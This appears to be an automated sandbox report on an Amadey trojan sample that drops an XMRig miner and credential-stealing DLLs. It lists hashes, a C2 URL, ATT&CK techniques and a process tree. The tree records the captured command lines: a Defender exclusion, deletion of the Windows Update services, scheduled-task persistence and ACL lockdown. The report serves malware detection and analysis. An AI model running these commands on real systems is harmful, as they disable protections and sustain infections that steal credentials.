amadey | a407c116ec71d0522bd074b2fd29686015f2e7b9f5199dd2c3afa8cc82d3aede

Analysis

max time kernel
150s
max time network
148s
platform
windows10-1703_x64
resource
win10-20230220-en
resource tags

arch:x64arch:x86image:win10-20230220-enlocale:en-usos:windows10-1703-x64system
submitted
27-03-2023 14:39

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

a407c116ec71d0522bd074b2fd29686015f2e7b9f5199dd2c3afa8cc82d3aede.exe
Size

4.3MB
MD5

8437a06729211be01519745422c7a9e8
SHA1

3926a801f042c4b3cb206ece72bcdee389d147c1
SHA256

a407c116ec71d0522bd074b2fd29686015f2e7b9f5199dd2c3afa8cc82d3aede
SHA512

9e2c3d496d4ca7910e21ac289f29677cacbd1231164d69229becbeab0be0e2ba167500718b450967f98a33fdfb133f460b9c5f65360ee93462e8ff88fecdc47c
SSDEEP

98304:Civ+VRRT1/DK/ff7HTK9sPxVV22fYe17DFFyGA4KhX:Ci0P1/+/f7TK9sPxVI2N17DFFyGLOX

Score

10^/10

amadey xmrig evasion miner spyware stealer trojan upx

Malware Config

Extracted

Family

amadey

Version

3.65

77.73.134.27/8bmdh3Slb2/index.php

Signatures

Amadey
Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.
trojan amadey

Modifies security service 2 TTPs 5 IoCs

evasion

Modify Registry

T1112

Modify Existing Service

T1031

Processes:

reg.exe

description	ioc	process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1	reg.exe

Suspicious use of NtCreateUserProcessOtherParentProcess 13 IoCs

Processes:

XandETC.exeupdater.execonhost.exe

description	pid	process	target process
PID 2460 created 3224	2460	XandETC.exe	Explorer.EXE
PID 2460 created 3224	2460	XandETC.exe	Explorer.EXE
PID 2460 created 3224	2460	XandETC.exe	Explorer.EXE
PID 2460 created 3224	2460	XandETC.exe	Explorer.EXE
PID 2460 created 3224	2460	XandETC.exe	Explorer.EXE
PID 4620 created 3224	4620	updater.exe	Explorer.EXE
PID 4620 created 3224	4620	updater.exe	Explorer.EXE
PID 4620 created 3224	4620	updater.exe	Explorer.EXE
PID 4620 created 3224	4620	updater.exe	Explorer.EXE
PID 4620 created 3224	4620	updater.exe	Explorer.EXE
PID 4620 created 3224	4620	updater.exe	Explorer.EXE
PID 684 created 3224	684	conhost.exe	Explorer.EXE
PID 4620 created 3224	4620	updater.exe	Explorer.EXE

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 7 IoCs

miner

Processes:

resource	yara_rule
behavioral1/memory/3112-755-0x00007FF6A4C30000-0x00007FF6A5424000-memory.dmp	xmrig
behavioral1/memory/3112-760-0x00007FF6A4C30000-0x00007FF6A5424000-memory.dmp	xmrig
behavioral1/memory/3112-761-0x00007FF6A4C30000-0x00007FF6A5424000-memory.dmp	xmrig
behavioral1/memory/3112-763-0x00007FF6A4C30000-0x00007FF6A5424000-memory.dmp	xmrig
behavioral1/memory/3112-766-0x00007FF6A4C30000-0x00007FF6A5424000-memory.dmp	xmrig
behavioral1/memory/3112-769-0x00007FF6A4C30000-0x00007FF6A5424000-memory.dmp	xmrig
behavioral1/memory/3112-772-0x00007FF6A4C30000-0x00007FF6A5424000-memory.dmp	xmrig

Downloads MZ/PE file
Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489
Executes dropped EXE 8 IoCs

Processes:

Player3.exess31.exeXandETC.exenbveek.exenbveek.exeupdater.exenbveek.exenbveek.exe

pid process

1760 Player3.exe
4744 ss31.exe
2460 XandETC.exe
3768 nbveek.exe
4788 nbveek.exe
4620 updater.exe
1760 nbveek.exe
1032 nbveek.exe
Loads dropped DLL 3 IoCs

Processes:

rundll32.exerundll32.exerundll32.exe

pid process

4168 rundll32.exe
2136 rundll32.exe
2112 rundll32.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

pid	process
1760	Player3.exe
4744	ss31.exe
2460	XandETC.exe
3768	nbveek.exe
4788	nbveek.exe
4620	updater.exe
1760	nbveek.exe
1032	nbveek.exe

pid	process
4168	rundll32.exe
2136	rundll32.exe
2112	rundll32.exe

UPX packed file 7 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
behavioral1/memory/3112-755-0x00007FF6A4C30000-0x00007FF6A5424000-memory.dmp	upx
behavioral1/memory/3112-760-0x00007FF6A4C30000-0x00007FF6A5424000-memory.dmp	upx
behavioral1/memory/3112-761-0x00007FF6A4C30000-0x00007FF6A5424000-memory.dmp	upx
behavioral1/memory/3112-763-0x00007FF6A4C30000-0x00007FF6A5424000-memory.dmp	upx
behavioral1/memory/3112-766-0x00007FF6A4C30000-0x00007FF6A5424000-memory.dmp	upx
behavioral1/memory/3112-769-0x00007FF6A4C30000-0x00007FF6A5424000-memory.dmp	upx
behavioral1/memory/3112-772-0x00007FF6A4C30000-0x00007FF6A5424000-memory.dmp	upx

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Drops file in System32 directory 3 IoCs

Processes:

powershell.exepowershell.exe

description	ioc	process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

Processes:

updater.exe

description	pid	process	target process
PID 4620 set thread context of 684	4620	updater.exe	conhost.exe
PID 4620 set thread context of 3112	4620	updater.exe	conhost.exe

Drops file in Program Files directory 4 IoCs

Processes:

XandETC.exeupdater.execmd.execmd.exe

description	ioc	process
File created	C:\Program Files\Notepad\Chrome\updater.exe	XandETC.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Launches sc.exe 10 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exe

pid process

444 sc.exe
5084 sc.exe
1032 sc.exe
3180 sc.exe
192 sc.exe
940 sc.exe
548 sc.exe
2176 sc.exe
1912 sc.exe
1272 sc.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

2144 2136 WerFault.exe rundll32.exe
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exe

pid process

2752 schtasks.exe

pid	process
444	sc.exe
5084	sc.exe
1032	sc.exe
3180	sc.exe
192	sc.exe
940	sc.exe
548	sc.exe
2176	sc.exe
1912	sc.exe
1272	sc.exe

pid	pid_target	process	target process
2144	2136	WerFault.exe	rundll32.exe

pid	process
2752	schtasks.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

powershell.exepowershell.execonhost.exeWMIC.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	conhost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	conhost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	conhost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

XandETC.exepowershell.exepowershell.exepowershell.exeupdater.exepowershell.exepowershell.execonhost.execonhost.exe

pid	process
2460	XandETC.exe
2460	XandETC.exe
3828	powershell.exe
3828	powershell.exe
3828	powershell.exe
2460	XandETC.exe
2460	XandETC.exe
2460	XandETC.exe
2460	XandETC.exe
2460	XandETC.exe
2460	XandETC.exe
5040	powershell.exe
5040	powershell.exe
5040	powershell.exe
2460	XandETC.exe
2460	XandETC.exe
2592	powershell.exe
2592	powershell.exe
2592	powershell.exe
4620	updater.exe
4620	updater.exe
1580	powershell.exe
1580	powershell.exe
1580	powershell.exe
4620	updater.exe
4620	updater.exe
4620	updater.exe
4620	updater.exe
4620	updater.exe
4620	updater.exe
1868	powershell.exe
1868	powershell.exe
1868	powershell.exe
4620	updater.exe
4620	updater.exe
4620	updater.exe
4620	updater.exe
684	conhost.exe
684	conhost.exe
4620	updater.exe
4620	updater.exe
3112	conhost.exe
3112	conhost.exe
3112	conhost.exe
3112	conhost.exe
3112	conhost.exe
3112	conhost.exe
3112	conhost.exe
3112	conhost.exe
3112	conhost.exe
3112	conhost.exe
3112	conhost.exe
3112	conhost.exe
3112	conhost.exe
3112	conhost.exe
3112	conhost.exe
3112	conhost.exe
3112	conhost.exe
3112	conhost.exe
3112	conhost.exe
3112	conhost.exe
3112	conhost.exe
3112	conhost.exe
3112	conhost.exe

Suspicious behavior: LoadsDriver 1 IoCs

Processes:

pid process

644

pid	process
644

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

powershell.exepowercfg.exepowercfg.exepowershell.exepowercfg.exepowercfg.exe

description	pid	process
Token: SeDebugPrivilege	3828	powershell.exe
Token: SeIncreaseQuotaPrivilege	3828	powershell.exe
Token: SeSecurityPrivilege	3828	powershell.exe
Token: SeTakeOwnershipPrivilege	3828	powershell.exe
Token: SeLoadDriverPrivilege	3828	powershell.exe
Token: SeSystemProfilePrivilege	3828	powershell.exe
Token: SeSystemtimePrivilege	3828	powershell.exe
Token: SeProfSingleProcessPrivilege	3828	powershell.exe
Token: SeIncBasePriorityPrivilege	3828	powershell.exe
Token: SeCreatePagefilePrivilege	3828	powershell.exe
Token: SeBackupPrivilege	3828	powershell.exe
Token: SeRestorePrivilege	3828	powershell.exe
Token: SeShutdownPrivilege	3828	powershell.exe
Token: SeDebugPrivilege	3828	powershell.exe
Token: SeSystemEnvironmentPrivilege	3828	powershell.exe
Token: SeRemoteShutdownPrivilege	3828	powershell.exe
Token: SeUndockPrivilege	3828	powershell.exe
Token: SeManageVolumePrivilege	3828	powershell.exe
Token: 33	3828	powershell.exe
Token: 34	3828	powershell.exe
Token: 35	3828	powershell.exe
Token: 36	3828	powershell.exe
Token: SeShutdownPrivilege	840	powercfg.exe
Token: SeCreatePagefilePrivilege	840	powercfg.exe
Token: SeShutdownPrivilege	1592	powercfg.exe
Token: SeCreatePagefilePrivilege	1592	powercfg.exe
Token: SeDebugPrivilege	5040	powershell.exe
Token: SeShutdownPrivilege	1088	powercfg.exe
Token: SeCreatePagefilePrivilege	1088	powercfg.exe
Token: SeShutdownPrivilege	1752	powercfg.exe
Token: SeCreatePagefilePrivilege	1752	powercfg.exe
Token: SeIncreaseQuotaPrivilege	5040	powershell.exe
Token: SeSecurityPrivilege	5040	powershell.exe
Token: SeTakeOwnershipPrivilege	5040	powershell.exe
Token: SeLoadDriverPrivilege	5040	powershell.exe
Token: SeSystemProfilePrivilege	5040	powershell.exe
Token: SeSystemtimePrivilege	5040	powershell.exe
Token: SeProfSingleProcessPrivilege	5040	powershell.exe
Token: SeIncBasePriorityPrivilege	5040	powershell.exe
Token: SeCreatePagefilePrivilege	5040	powershell.exe
Token: SeBackupPrivilege	5040	powershell.exe
Token: SeRestorePrivilege	5040	powershell.exe
Token: SeShutdownPrivilege	5040	powershell.exe
Token: SeDebugPrivilege	5040	powershell.exe
Token: SeSystemEnvironmentPrivilege	5040	powershell.exe
Token: SeRemoteShutdownPrivilege	5040	powershell.exe
Token: SeUndockPrivilege	5040	powershell.exe
Token: SeManageVolumePrivilege	5040	powershell.exe
Token: 33	5040	powershell.exe
Token: 34	5040	powershell.exe
Token: 35	5040	powershell.exe
Token: 36	5040	powershell.exe
Token: SeIncreaseQuotaPrivilege	5040	powershell.exe
Token: SeSecurityPrivilege	5040	powershell.exe
Token: SeTakeOwnershipPrivilege	5040	powershell.exe
Token: SeLoadDriverPrivilege	5040	powershell.exe
Token: SeSystemProfilePrivilege	5040	powershell.exe
Token: SeSystemtimePrivilege	5040	powershell.exe
Token: SeProfSingleProcessPrivilege	5040	powershell.exe
Token: SeIncBasePriorityPrivilege	5040	powershell.exe
Token: SeCreatePagefilePrivilege	5040	powershell.exe
Token: SeBackupPrivilege	5040	powershell.exe
Token: SeRestorePrivilege	5040	powershell.exe
Token: SeShutdownPrivilege	5040	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

a407c116ec71d0522bd074b2fd29686015f2e7b9f5199dd2c3afa8cc82d3aede.exePlayer3.exenbveek.execmd.execmd.execmd.exepowershell.exe

description	pid	process	target process
PID 5044 wrote to memory of 1760	5044	a407c116ec71d0522bd074b2fd29686015f2e7b9f5199dd2c3afa8cc82d3aede.exe	Player3.exe
PID 5044 wrote to memory of 1760	5044	a407c116ec71d0522bd074b2fd29686015f2e7b9f5199dd2c3afa8cc82d3aede.exe	Player3.exe
PID 5044 wrote to memory of 1760	5044	a407c116ec71d0522bd074b2fd29686015f2e7b9f5199dd2c3afa8cc82d3aede.exe	Player3.exe
PID 5044 wrote to memory of 4744	5044	a407c116ec71d0522bd074b2fd29686015f2e7b9f5199dd2c3afa8cc82d3aede.exe	ss31.exe
PID 5044 wrote to memory of 4744	5044	a407c116ec71d0522bd074b2fd29686015f2e7b9f5199dd2c3afa8cc82d3aede.exe	ss31.exe
PID 5044 wrote to memory of 2460	5044	a407c116ec71d0522bd074b2fd29686015f2e7b9f5199dd2c3afa8cc82d3aede.exe	XandETC.exe
PID 5044 wrote to memory of 2460	5044	a407c116ec71d0522bd074b2fd29686015f2e7b9f5199dd2c3afa8cc82d3aede.exe	XandETC.exe
PID 1760 wrote to memory of 3768	1760	Player3.exe	nbveek.exe
PID 1760 wrote to memory of 3768	1760	Player3.exe	nbveek.exe
PID 1760 wrote to memory of 3768	1760	Player3.exe	nbveek.exe
PID 3768 wrote to memory of 2752	3768	nbveek.exe	schtasks.exe
PID 3768 wrote to memory of 2752	3768	nbveek.exe	schtasks.exe
PID 3768 wrote to memory of 2752	3768	nbveek.exe	schtasks.exe
PID 3768 wrote to memory of 3588	3768	nbveek.exe	cmd.exe
PID 3768 wrote to memory of 3588	3768	nbveek.exe	cmd.exe
PID 3768 wrote to memory of 3588	3768	nbveek.exe	cmd.exe
PID 3588 wrote to memory of 4496	3588	cmd.exe	cmd.exe
PID 3588 wrote to memory of 4496	3588	cmd.exe	cmd.exe
PID 3588 wrote to memory of 4496	3588	cmd.exe	cmd.exe
PID 3588 wrote to memory of 1596	3588	cmd.exe	cacls.exe
PID 3588 wrote to memory of 1596	3588	cmd.exe	cacls.exe
PID 3588 wrote to memory of 1596	3588	cmd.exe	cacls.exe
PID 3588 wrote to memory of 4484	3588	cmd.exe	cacls.exe
PID 3588 wrote to memory of 4484	3588	cmd.exe	cacls.exe
PID 3588 wrote to memory of 4484	3588	cmd.exe	cacls.exe
PID 3588 wrote to memory of 4512	3588	cmd.exe	cmd.exe
PID 3588 wrote to memory of 4512	3588	cmd.exe	cmd.exe
PID 3588 wrote to memory of 4512	3588	cmd.exe	cmd.exe
PID 3588 wrote to memory of 4524	3588	cmd.exe	cacls.exe
PID 3588 wrote to memory of 4524	3588	cmd.exe	cacls.exe
PID 3588 wrote to memory of 4524	3588	cmd.exe	cacls.exe
PID 3588 wrote to memory of 4968	3588	cmd.exe	cacls.exe
PID 3588 wrote to memory of 4968	3588	cmd.exe	cacls.exe
PID 3588 wrote to memory of 4968	3588	cmd.exe	cacls.exe
PID 5088 wrote to memory of 940	5088	cmd.exe	sc.exe
PID 5088 wrote to memory of 940	5088	cmd.exe	sc.exe
PID 5032 wrote to memory of 840	5032	cmd.exe	powercfg.exe
PID 5032 wrote to memory of 840	5032	cmd.exe	powercfg.exe
PID 5088 wrote to memory of 548	5088	cmd.exe	sc.exe
PID 5088 wrote to memory of 548	5088	cmd.exe	sc.exe
PID 5032 wrote to memory of 1592	5032	cmd.exe	powercfg.exe
PID 5032 wrote to memory of 1592	5032	cmd.exe	powercfg.exe
PID 5088 wrote to memory of 444	5088	cmd.exe	sc.exe
PID 5088 wrote to memory of 444	5088	cmd.exe	sc.exe
PID 5088 wrote to memory of 5084	5088	cmd.exe	sc.exe
PID 5088 wrote to memory of 5084	5088	cmd.exe	sc.exe
PID 5032 wrote to memory of 1088	5032	cmd.exe	powercfg.exe
PID 5032 wrote to memory of 1088	5032	cmd.exe	powercfg.exe
PID 5088 wrote to memory of 1032	5088	cmd.exe	sc.exe
PID 5088 wrote to memory of 1032	5088	cmd.exe	sc.exe
PID 5032 wrote to memory of 1752	5032	cmd.exe	powercfg.exe
PID 5032 wrote to memory of 1752	5032	cmd.exe	powercfg.exe
PID 5088 wrote to memory of 1676	5088	cmd.exe	reg.exe
PID 5088 wrote to memory of 1676	5088	cmd.exe	reg.exe
PID 5088 wrote to memory of 1896	5088	cmd.exe	reg.exe
PID 5088 wrote to memory of 1896	5088	cmd.exe	reg.exe
PID 5088 wrote to memory of 2016	5088	cmd.exe	reg.exe
PID 5088 wrote to memory of 2016	5088	cmd.exe	reg.exe
PID 5088 wrote to memory of 1908	5088	cmd.exe	reg.exe
PID 5088 wrote to memory of 1908	5088	cmd.exe	reg.exe
PID 5088 wrote to memory of 2288	5088	cmd.exe	reg.exe
PID 5088 wrote to memory of 2288	5088	cmd.exe	reg.exe
PID 2592 wrote to memory of 2864	2592	powershell.exe	schtasks.exe
PID 2592 wrote to memory of 2864	2592	powershell.exe	schtasks.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3224

C:\Users\Admin\AppData\Local\Temp\a407c116ec71d0522bd074b2fd29686015f2e7b9f5199dd2c3afa8cc82d3aede.exe
"C:\Users\Admin\AppData\Local\Temp\a407c116ec71d0522bd074b2fd29686015f2e7b9f5199dd2c3afa8cc82d3aede.exe"
2⤵
- Suspicious use of WriteProcessMemory
PID:5044

C:\Users\Admin\AppData\Local\Temp\Player3.exe
"C:\Users\Admin\AppData\Local\Temp\Player3.exe"
3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1760

C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe
"C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe"
4⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3768

C:\Windows\SysWOW64\schtasks.exe
"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN nbveek.exe /TR "C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe" /F
5⤵
- Creates scheduled task(s)
PID:2752

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /k echo Y|CACLS "nbveek.exe" /P "Admin:N"&&CACLS "nbveek.exe" /P "Admin:R" /E&&echo Y|CACLS "..\16de06bfb4" /P "Admin:N"&&CACLS "..\16de06bfb4" /P "Admin:R" /E&&Exit
5⤵
- Suspicious use of WriteProcessMemory
PID:3588

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo Y"
6⤵
PID:4496

C:\Windows\SysWOW64\cacls.exe
CACLS "nbveek.exe" /P "Admin:N"
6⤵
PID:1596

C:\Windows\SysWOW64\cacls.exe
CACLS "nbveek.exe" /P "Admin:R" /E
6⤵
PID:4484

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo Y"
6⤵
PID:4512

C:\Windows\SysWOW64\cacls.exe
CACLS "..\16de06bfb4" /P "Admin:N"
6⤵
PID:4524

C:\Windows\SysWOW64\cacls.exe
CACLS "..\16de06bfb4" /P "Admin:R" /E
6⤵
PID:4968

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\07c6bc37dc5087\cred64.dll, Main
5⤵
- Loads dropped DLL
PID:4168

C:\Windows\system32\rundll32.exe
"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\07c6bc37dc5087\cred64.dll, Main
6⤵
- Loads dropped DLL
PID:2136

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 2136 -s 600
7⤵
- Program crash
PID:2144

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\07c6bc37dc5087\clip64.dll, Main
5⤵
- Loads dropped DLL
PID:2112

C:\Users\Admin\AppData\Local\Temp\ss31.exe
"C:\Users\Admin\AppData\Local\Temp\ss31.exe"
3⤵
- Executes dropped EXE
PID:4744

C:\Users\Admin\AppData\Local\Temp\XandETC.exe
"C:\Users\Admin\AppData\Local\Temp\XandETC.exe"
3⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:2460

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3828

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
2⤵
- Suspicious use of WriteProcessMemory
